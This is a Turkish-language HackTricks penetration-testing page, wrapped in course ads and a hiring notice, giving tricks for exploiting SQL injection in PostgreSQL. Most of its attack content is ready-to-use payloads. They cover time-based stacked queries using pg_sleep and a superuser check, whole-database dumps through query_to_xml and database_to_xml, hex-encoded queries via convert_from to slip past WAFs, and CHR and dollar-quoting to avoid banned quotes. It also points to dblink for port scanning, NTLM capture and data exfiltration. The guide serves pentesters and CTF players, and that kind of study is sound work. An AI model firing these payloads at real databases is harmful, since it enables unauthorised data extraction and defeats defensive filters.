PostgreSQL injection

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).


Bu sayfa, postgresql veritabanında bulunan bir SQL enjeksiyonunu sömürmenize yardımcı olabilecek farklı hileleri açıklamayı amaçlar ve https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md sayfasında bulabileceğiniz hileleri tamamlamayı amaçlar.

Ağ Etkileşimi - Yetki Yükseltme, Port Tarama, NTLM meydan okuma yanıtı ifşası ve Veri Çıkarma

PostgreSQL modülü dblink, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları yürütme yetenekleri sunar. Bu özellikler, COPY FROM işlevi ile birleştirildiğinde, ayrıcalık yükseltme, port tarama ve NTLM meydan okuma yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları nasıl gerçekleştireceğinizi ayrıntılı olarak öğrenmek için bu saldırıları nasıl gerçekleştireceğinizi kontrol edin.

Bir CTF örneğini görmek için bu örneği inceleyebilirsiniz. Bu örnek, büyük nesneler içine veri yükleme ve daha sonra büyük nesnelerin içeriğini dblink_connect fonksiyonunun kullanıcı adının içine veri çıkarma hakkında bilgi verir.

PostgreSQL Saldırıları: Okuma/Yazma, Uzaktan Kod Çalıştırma, ayrıcalık yükseltme

PostgreSQL'den ana bilgisayarı tehlikeye atma ve ayrıcalıkları yükseltme konusunda nasıl ilerleyeceğinizi kontrol edin:

page5432,5433 - Pentesting Postgresql

WAF atlatma

PostgreSQL Dize fonksiyonları

Dizeleri manipüle etmek, WAF'leri veya diğer kısıtlamaları atlatmanıza yardımcı olabilir. Bu sayfada** bazı kullanışlı Dize fonksiyonlarını bulabilirsiniz.**

Yığılmış Sorgular

Postgresql'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığılmış sorguları Zaman enjeksiyonu aracılığıyla hala kötüye kullanabilirsiniz:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML hileleri

query_to_xml

Bu işlev, tüm verileri sadece bir dosyada XML formatında döndürecektir. Eğer çok miktarda veriyi sadece 1 satırda dökmek istiyorsanız idealdir:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Bu işlev, tüm veritabanını XML formatında sadece 1 satırda dökecektir (veritabanı çok büyükse dikkatli olun, aksi takdirde DoS saldırısına maruz kalabilirsiniz veya hatta kendi istemcinizi etkileyebilirsiniz):

SELECT database_to_xml(true,true,'');

Hexadecimal Dizgiler

Eğer sorguları bir dize içinde çalıştırabiliyorsanız (örneğin query_to_xml fonksiyonunu kullanarak), dizeyi onaltılık olarak geçmek için convert_from'u kullanabilir ve bu şekilde filtreleri atlayabilirsiniz:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Yasaklı tırnaklar

Eğer payload'ınızda tırnak kullanamıyorsanız, temel kelimeler için (SELECT, INSERT, DELETE, vb.) CHR ile bunu atlayabilirsiniz (karakter birleştirme yalnızca temel sorgular için çalışır, tüm SQL ifadeleri için çalışmaz):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Veya $ ile. Bu sorgular aynı sonuçları döndürür:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

Sıfırdan kahraman olana kadar AWS hackleme**yi öğrenin** htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın(https://github.com/sponsors/carlospolop)!Resmi PEASS & HackTricks ürünlerini edininThe PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimiz💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm.** takip edinHacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Last updated